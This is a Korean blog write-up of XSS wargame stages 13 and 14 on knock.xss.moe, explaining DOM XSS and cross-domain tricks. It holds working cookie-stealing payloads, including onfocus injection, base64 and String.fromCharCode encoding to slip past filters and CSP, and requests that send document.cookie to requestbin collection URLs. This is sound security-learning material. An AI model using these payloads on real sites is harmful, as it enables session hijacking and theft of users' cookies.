By yeali | August 17, 2018
짠내투어 XSS 3일차
이전편 요약
똑똑똑 여기 누가 있나요?
XSS Wargame 문제를 풀면서 XSS에 대해서 알아가고 있는중입니다!
안녕하세요… 스크립트 여러번 때리면서 현타온 yeali입니다.
지금 stage 21까지 풀었어요! 여러분들은 어디까지 푸셨나요?
XSS 여행 3일차 계획
1. 동네 탐방(수천번의 노크 XSS)
- stage 13 - Dom XSS
- stage 14 - Cross Domain
1. Stage 13 - Dom XSS
<form action="">
<input type="text" value="XSS" name="q" id="q">
<input type="submit">
</form>
<div id="echo-back"></div>
<script>
let $ = (id) => {
return document.getElementById(id)
}
$('echo-back').innerHTML = $('q').value;
</script>
<br>
우선 2편에서 보았던 문제들과 다르게 소스가 많이 보이는군요!
<script>
let $ = (id) => {
return document.getElementById(id)
}
$('echo-back').innerHTML = $('q').value;
</script>
우선 document.getElementById 이 놈은 뭐하는 놈일까…?
w3cschool에 좋은 예제가 있어서 같이 보고자 합니다!
<!DOCTYPE html>
<html>
<body>
<p id="demo">Click the button to change the text in this paragraph.</p>
<button onclick="myFunction()">Try it</button>
<script>
function myFunction() {
document.getElementById("demo").innerHTML = "Hello World";
}
</script>
</body>
</html>
위의 코드가 반영된 내용은 아래와 같이 나온다!
try it을 누르면 hello world가 출력되는 코드입니다.
getElementById는 문서의 내용을 바꾸거나 정보를 얻어야 할 때 사용되는데 HTML DOM에서 가장 일반적인 방법라고 합니다.
w3c의 예제를 보면 아래와 같은 의미가 담겨져있다고 해석했습니다.
getElementById('demo')는 아이디가 demo인 HTML요소를 갖고 와라. button을 클릭하면 innerHTML 안에 있는 내용으로 바꿔줄게!
그럼 다시 문제로 돌아가볼까요?
<form action="">
<input type="text" value="XSS" name="q" id="q">
<input type="submit">
</form>
<div id="echo-back"></div>
<script>
let $ = (id) => {
return document.getElementById(id)
}
$('echo-back').innerHTML = $('q').value;
</script>
우선 알림창을 띄워볼건데 어떻게 띄울 수 있을까요?
<form action>
<input type="text" value="XSS" name="q" id="q">
<input type="submit">
</form>
<div id = "echo-back">
""> "
<script> alert (1) </script>
</div>
위와 같이 하면 알림창이 뜰거라고 생각하고, 아래와 같이 스크립트를 넣어주었습니다.
"> <script> alert(1) </script> <input + value ="
근데 안되요…ㅠㅠ
우선 문제를 풀기위해 삽질을 시작한다!…
삽질 100번하니 1개의 돌을 찾았어요!
<input type="">
이렇게 input type창이 생성됩니다.
여기서 드는 생각!
내가 넣은 input창을 공격해서 쿠키를 가져올 순 없을까?
그래서 이렇게 해보았습니다.
<input autofocus onfocus=alert(1)>
와 이렇게 하면 알림창 떠요! 끝났다 끝났어!
(어? 근데 확인을 눌러도 계속 알림창이 떠요?)
두구두구 기대하시라!
<input type="" name="1" onfocus=location.href="server link"+document.cookie autofocus>
ㅎ..안되네요!ㅎ..
도대체 어떻게 푸는거냐구요ㅠㅠㅠㅠ
이러고 있을때 ccoma언니가 와서 필터링부터 확인하는법을 알려줌!
알고보니 document.cookie
가 필터링되고 있더라고요!
이거 필터링되면 try harder가 뜸! 그래서 안되었던거였어요!
그럼 document.cookie
를 우회하면 풀릴겁니다!
내 계획을 들어봐요!
<input autofocus onfocus=eval(atob( 여기 안에 base64로 변환한 내용을 넣을거에요! )))>
변환될 내용은 아래와 같을 예정이에요!
'location='server address?a='+document.cookie'
변환을 하면?!
bG9jYXRpb249J2h0dHA6Ly9yZXF1ZXN0YmluLmZ1bGxjb250YWN0LmNvbS9zeDA4MjBzeD9hPScrZG9jdW1lbnQuY29va2llJw==
짜란! 풀립니다!
진짜 사소한 이유로 못 풀고 있었던 문제… 넘나 힘든 문제였습니다…
근데 잠시만요! 이거 Dom XSS문제에요.
Dom XSS가 뭔지 우리 1편에서 잠깐 봤는데, 예시 문제가 없었거든요!
지금 예시 문제를 만난 김에 알아가고 넘어가죠!
Dom이 뭔가요??
프로그램 및 스크립트가 문서의 컨텐츠, 구조, 및 형식을 동적으로 접근 및 업데이트할 수 있도록 하는 언어 중립적인 인터페이스라고 합니다!
w3c - Document Object Model
아까 문제 풀기 전에 getElementById
는 문서의 내용을 바꾸거나 정보를 얻어야 할 때 사용되는데 HTML DOM
에서 가장 일반적인 방법라고 했었어요!
그래서 아래와 같이 생각할 수 있었던거에요!!
회상
<form action>
<input type="text" value="XSS" name="q" id="q">
<input type="submit">
</form>
<div id = "echo-back">
""> "
<script> alert (1) </script>
</div>
이렇게 되면 알림창이 뜰거라고 생각하고, 아래와 같이 스크립트를 넣어주었어요!
"> <script> alert(1) </script> <input + value ="
피해자의 브라우저가 HTML page를 구문 분석할 때마다, 공격 스크립트가 DOM 생성의 일부로 실행되면서 공격하게 됩니다.
그래서 HTML page가 변하지 않지만, 페이지에 포함되어있는 브라우저 측 코드가 DOM 환경에 영향을 주게 되죠!
그래서 아까 어라? 한번이 아니라 계속 알림창이 실행되네?
라고 했던것도 브라우저 측 코드가 Dom 환경에 영향을 주어서 store XSS같은 역할을 할 수 있게 된겁니다.
2. Stage 14 - Cross domain
<iframe src="javascript:alert(1)"></iframe>
<script>document.domain="knock.xss.moe"</script>
stage 14, 개인적으로 어려웠어요.
여러분들도 고생해서 깨달음을 얻었으면 좋겠어서 여기서 마무리할게요!
다음주까지 풀어오세요^^ Bye!
이러고 싶었지만…허헣 진행하겠습니다.
이번 문제는 doument.domain iframe
이라고 구글에 치면 관련검색어로도 뜨는!
나만 모르고 있던 그런 이슈였던거같더라고요..
이걸 보면 Dom에 크로스도메인을 설정해서 알림창을 띄우면 될거같다고 예상했습니다.
근데 어떻게 해야 되냐고여! (탕탕!!)
q 뒤에 도메인을 넣어야 되는거같은데 14번 문제 도메인 넣어도 안되서 고민해보다가 12번 문제가 생각났습니다.
CSP 때문에 고생 꽤나 했던 12번 기억나십니까?
똑같이 생겼죠? 그래서 12번 문제를 q 뒤에 넣고 알림창을 띄우는 스크립트를 넣어보면!!
http://3cb34c8407410e2d6c1d708b786ce69a0192b470.knock.xss.moe/?q=http://a4f51941335441be0fdb21c2890ec17b1d0f08f0.knock.xss.moe/?q=javascript:alert(1)
ㅎㅎㅎ알림창 떴다. 절반 풀었다.
이제 document.cookie
를 넣어서 날려보려고 하지만, 이번에도 필터링되어있지롱!
그래서 13번과 같이 하려고 했으나 이 놈의 CSP
!!!!
편집장님 저 여기다가 험한 말하면 안되죠?ㅠㅠ
응 안돼
제 삽질의 결론은요!
http://3cb34c8407410e2d6c1d708b786ce69a0192b470.knock.xss.moe/?q=http://8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?document.domain=%22knock.xss.moe%22;eval(String.fromCharCode(119,105,110,100,111,119,46,111,112,101,110,40,34,104,116,116,112,58,47,47,114,101,113,117,101,115,116,98,105,110,46,102,117,108,108,99,111,110,116,97,99,116,46,99,111,109,47,49,108,104,51,97,97,51,49,63,97,61,34,43,112,97,114,101,110,116,46,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))
이겁니다! 이거라고요! 허허!
아스키코드의 내용은,
window.open("server address?a="+parent.document.cookie)
document.cookie
는 아스키코드로 우회했고요!
parent.document.cookie
를 사용하니 쿠키 전달되더라고요!
This is a dummy page for tutorial.
So this page is already pwned and has XSS payload on itself.
Click this with Google Chrome.
이렇게 창이 뜨고 Click
를 누르면 ok
가 뜹니다!!
오늘은 마지막 인사보다 오늘의 TIP
!
- 한번에 XSS 스크립트가 성공하겠다는건 무리데쓰! 어떤 스크립트가 먹히는지 알림창을 띄우고 시작하자.
- 어떤 필터링이 걸리고 CSP가 걸렸는지 확인하자.
투 비 컨티뉴!!!